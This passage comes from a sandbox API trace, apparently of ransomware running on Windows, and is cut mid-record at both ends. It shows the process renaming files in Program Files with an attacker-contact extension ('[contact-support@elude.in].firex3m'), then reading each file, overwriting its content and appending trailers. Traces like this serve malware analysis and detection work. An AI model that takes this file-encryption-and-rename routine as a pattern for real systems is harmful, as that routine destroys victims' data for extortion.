(in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0236.214] MoveFileW (lpExistingFileName="C:\\Program Files\\rempl\\Logs\\Remediation.002.etl" (normalized: "c:\\program files\\rempl\\logs\\remediation.002.etl"), lpNewFileName="C:\\Program Files\\rempl\\Logs\\Remediation.002.etl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\rempl\\logs\\remediation.002.etl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0236.381] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.381] FindFirstFileW (in: lpFileName="C:\\Program Files\\rempl\\Logs\\Remediation.002.etl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x537fc6c | out: lpFindFileData=0x537fc6c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8390c831, ftCreationTime.dwHighDateTime=0x1d32735, ftLastAccessTime.dwLowDateTime=0x79e31fb0, ftLastAccessTime.dwHighDateTime=0x1d327b1, ftLastWriteTime.dwLowDateTime=0x79eac3d2, ftLastWriteTime.dwHighDateTime=0x1d327b1, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Remediation.002.etl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="REMEDI~3.FIR")) returned 0x6d5580 [0236.381] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0236.381] CreateFileW (lpFileName="C:\\Program Files\\rempl\\Logs\\Remediation.002.etl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\rempl\\logs\\remediation.002.etl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4 [0236.382] GetProcessHeap () returned 0x630000 [0236.382] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x700cc80 [0236.382] GetProcessHeap () returned 0x630000 [0236.382] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70180b0 [0236.382] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.382] ReadFile (in: hFile=0x5e4, lpBuffer=0x700cc80, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x700cc80*, lpNumberOfBytesRead=0x537ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0243.894] GetProcessHeap () returned 0x630000 [0243.894] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x745b810 [0243.894] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.894] WriteFile (in: hFile=0x5e4, lpBuffer=0x70180b0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70180b0*, lpNumberOfBytesWritten=0x537ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0243.895] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.895] WriteFile (in: hFile=0x5e4, lpBuffer=0x70234af*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70234af*, lpNumberOfBytesWritten=0x537ff0c*=0x20, lpOverlapped=0x0) returned 1 [0243.895] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.895] WriteFile (in: hFile=0x5e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x537ff0c*=0x4, lpOverlapped=0x0) returned 1 [0243.895] CloseHandle (hObject=0x5e4) returned 1 [0243.895] GetProcessHeap () returned 0x630000 [0243.895] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70180b0 | out: hHeap=0x630000) returned 1 [0243.895] GetProcessHeap () returned 0x630000 [0243.895] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x700cc80 | out: hHeap=0x630000) returned 1 [0243.895] GetProcessHeap () returned 0x630000 [0243.895] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x745b810 | out: hHeap=0x630000) returned 1 [0243.895] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0243.896] FindFirstFileW (in: lpFileName="C:\\Program Files\\rempl\\Logs\\Remediation.002.etl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x537fcc4 | out: lpFindFileData=0x537fcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8390c831, ftCreationTime.dwHighDateTime=0x1d32735, ftLastAccessTime.dwLowDateTime=0x79e31fb0, ftLastAccessTime.dwHighDateTime=0x1d327b1, ftLastWriteTime.dwLowDateTime=0x57532a55, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x20024, dwReserved0=0xa187496, dwReserved1=0x700cc78, cFileName="Remediation.002.etl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="REMEDI~3.FIR")) returned 0x6d4ec0 [0243.896] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0243.896] Sleep (dwMilliseconds=0x1) [0245.222] SysReAllocStringLen (in: pbstr=0x537ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sql70.xsl", len=0x78 | out: pbstr=0x537ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sql70.xsl") returned 1 [0245.222] GetProcessHeap () returned 0x630000 [0245.222] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e7c) returned 0x6fe3bb0 [0245.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\sql70.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0245.262] CloseHandle (hObject=0x4c0) returned 1 [0245.262] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0245.262] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\sql70.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sql70.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\sql70.xsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0245.263] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0245.264] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sql70.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x537fc6c | out: lpFindFileData=0x537fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a74b071, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a74b071, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2a74b071, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e02, dwReserved0=0x390031, dwReserved1=0x380039, cFileName="sql70.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SQL70X~1.FIR")) returned 0x6d5200 [0245.264] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0245.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sql70.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\sql70.xsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0245.264] GetProcessHeap () returned 0x630000 [0245.264] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7e21) returned 0x6f27730 [0245.264] GetProcessHeap () returned 0x630000 [0245.264] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7e21) returned 0x6f2f560 [0245.264] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.264] ReadFile (in: hFile=0x4c0, lpBuffer=0x6f27730, nNumberOfBytesToRead=0x7e00, lpNumberOfBytesRead=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f27730*, lpNumberOfBytesRead=0x537ff0c*=0x7e00, lpOverlapped=0x0) returned 1 [0251.980] GetProcessHeap () returned 0x630000 [0251.980] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317a68 [0251.980] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.980] WriteFile (in: hFile=0x4c0, lpBuffer=0x6f2f560*, nNumberOfBytesToWrite=0x7e00, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f2f560*, lpNumberOfBytesWritten=0x537ff0c*=0x7e00, lpOverlapped=0x0) returned 1 [0251.981] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.981] WriteFile (in: hFile=0x4c0, lpBuffer=0x6f3735f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3735f*, lpNumberOfBytesWritten=0x537ff0c*=0x20, lpOverlapped=0x0) returned 1 [0251.981] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.981] WriteFile (in: hFile=0x4c0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x537ff0c*=0x4, lpOverlapped=0x0) returned 1 [0251.981] CloseHandle (hObject=0x4c0) returned 1 [0253.672] GetProcessHeap () returned 0x630000 [0253.672] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f2f560 | out: hHeap=0x630000) returned 1 [0253.672] GetProcessHeap () returned 0x630000 [0253.672] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f27730 | out: hHeap=0x630000) returned 1 [0253.672] GetProcessHeap () returned 0x630000 [0253.672] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317a68 | out: hHeap=0x630000) returned 1 [0254.422] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0254.422] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sql70.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x537fcc4 | out: lpFindFileData=0x537fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a74b071, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a74b071, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5c2516e7, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x7e26, dwReserved0=0xa187496, dwReserved1=0x6f27728, cFileName="sql70.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SQL70X~1.FIR")) returned 0x6d4f00 [0254.423] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0254.423] Sleep (dwMilliseconds=0x1) [0254.443] SysReAllocStringLen (in: pbstr=0x537ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_SplashScreen.scale-100.png", len=0xa4 | out: pbstr=0x537ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_SplashScreen.scale-100.png") returned 1 [0254.443] GetProcessHeap () returned 0x630000 [0254.443] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e20) returned 0x6fe3bb0 [0254.443] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_SplashScreen.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\weather_splashscreen.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.454] Sleep (dwMilliseconds=0x1) [0254.465] SysReAllocStringLen (in: pbstr=0x537ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\ormma.js", len=0x67 | out: pbstr=0x537ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\ormma.js") returned 1 [0254.465] GetProcessHeap () returned 0x630000 [0254.465] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4de0) returned 0x6fe3bb0 [0254.465] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\ormma.js" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\msadvertisingjs\\ormma.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.162] Sleep (dwMilliseconds=0x1) [0261.072] SysReAllocStringLen (in: pbstr=0x537ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_LogoSmall.targetsize-48.png", len=0x92 | out: pbstr=0x537ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_LogoSmall.targetsize-48.png") returned 1 [0261.072] GetProcessHeap () returned 0x630000 [0261.072] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cd0) returned 0x6fe3bb0 [0261.072] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_LogoSmall.targetsize-48.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\weather_logosmall.targetsize-48.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.078] Sleep (dwMilliseconds=0x1) [0261.119] SysReAllocStringLen (in: pbstr=0x537ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\DEEPBLUE\\THMBNAIL.PNG", len=0x70 | out: pbstr=0x537ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\DEEPBLUE\\THMBNAIL.PNG") returned 1 [0261.119] GetProcessHeap () returned 0x630000 [0261.119] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c94) returned 0x6fe3bb0 [0261.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\deepblue\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0261.120] CloseHandle (hObject=0x410) returned 1 [0261.120] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0261.120] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\deepblue\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\DEEPBLUE\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\deepblue\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0261.121] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0261.121] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\DEEPBLUE\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x537fc6c | out: lpFindFileData=0x537fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x81fd, dwReserved0=0x320031, dwReserved1=0x5b005f, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d5380 [0261.122] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0261.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\DEEPBLUE\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\deepblue\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0261.122] GetProcessHeap () returned 0x630000 [0261.122] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8201) returned 0x70c500 [0261.122] GetProcessHeap () returned 0x630000 [0261.122] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8201) returned 0x717648 [0261.123] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.123] ReadFile (in: hFile=0x410, lpBuffer=0x70c500, nNumberOfBytesToRead=0x81e0, lpNumberOfBytesRead=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70c500*, lpNumberOfBytesRead=0x537ff0c*=0x81e0, lpOverlapped=0x0) returned 1 [0263.879] GetProcessHeap () returned 0x630000 [0263.879] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318558 [0263.879] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.879] WriteFile (in: hFile=0x410, lpBuffer=0x717648*, nNumberOfBytesToWrite=0x81e0, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x717648*, lpNumberOfBytesWritten=0x537ff0c*=0x81e0, lpOverlapped=0x0) returned 1 [0263.880] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.880] WriteFile (in: hFile=0x410, lpBuffer=0x71f827*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71f827*, lpNumberOfBytesWritten=0x537ff0c*=0x20, lpOverlapped=0x0) returned 1 [0263.880] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.880] WriteFile (in: hFile=0x410, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x537ff0c*=0x4, lpOverlapped=0x0) returned 1 [0263.880] CloseHandle (hObject=0x410) returned 1 [0263.880] GetProcessHeap () returned 0x630000 [0263.880] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x717648 | out: hHeap=0x630000) returned 1 [0263.880] GetProcessHeap () returned 0x630000 [0264.435] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70c500 | out: hHeap=0x630000) returned 1 [0265.587] GetProcessHeap () returned 0x630000 [0265.587] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318558 | out: hHeap=0x630000) returned 1 [0265.587] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0265.587] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\DEEPBLUE\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x537fcc4 | out: lpFindFileData=0x537fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633a842a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x8221, dwReserved0=0xa187496, dwReserved1=0x70c4f8, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d5340 [0265.587] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0265.587] Sleep (dwMilliseconds=0x1) [0265.601] SysReAllocStringLen (in: pbstr=0x537ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSOICONS.EXE", len=0x67 | out: pbstr=0x537ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSOICONS.EXE") returned 1 [0265.601] GetProcessHeap () returned 0x630000 [0265.601] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bd0) returned 0x6fe3bb0 [0265.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSOICONS.EXE" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\msoicons.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0265.605] CloseHandle (hObject=0x5ec) returned 1 [0265.605] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0265.605] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSOICONS.EXE" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\msoicons.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSOICONS.EXE.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\msoicons.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0265.658] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0265.658] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSOICONS.EXE.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x537fc6c | out: lpFindFileData=0x537fc6c*(dwFileAttributes=0x220, 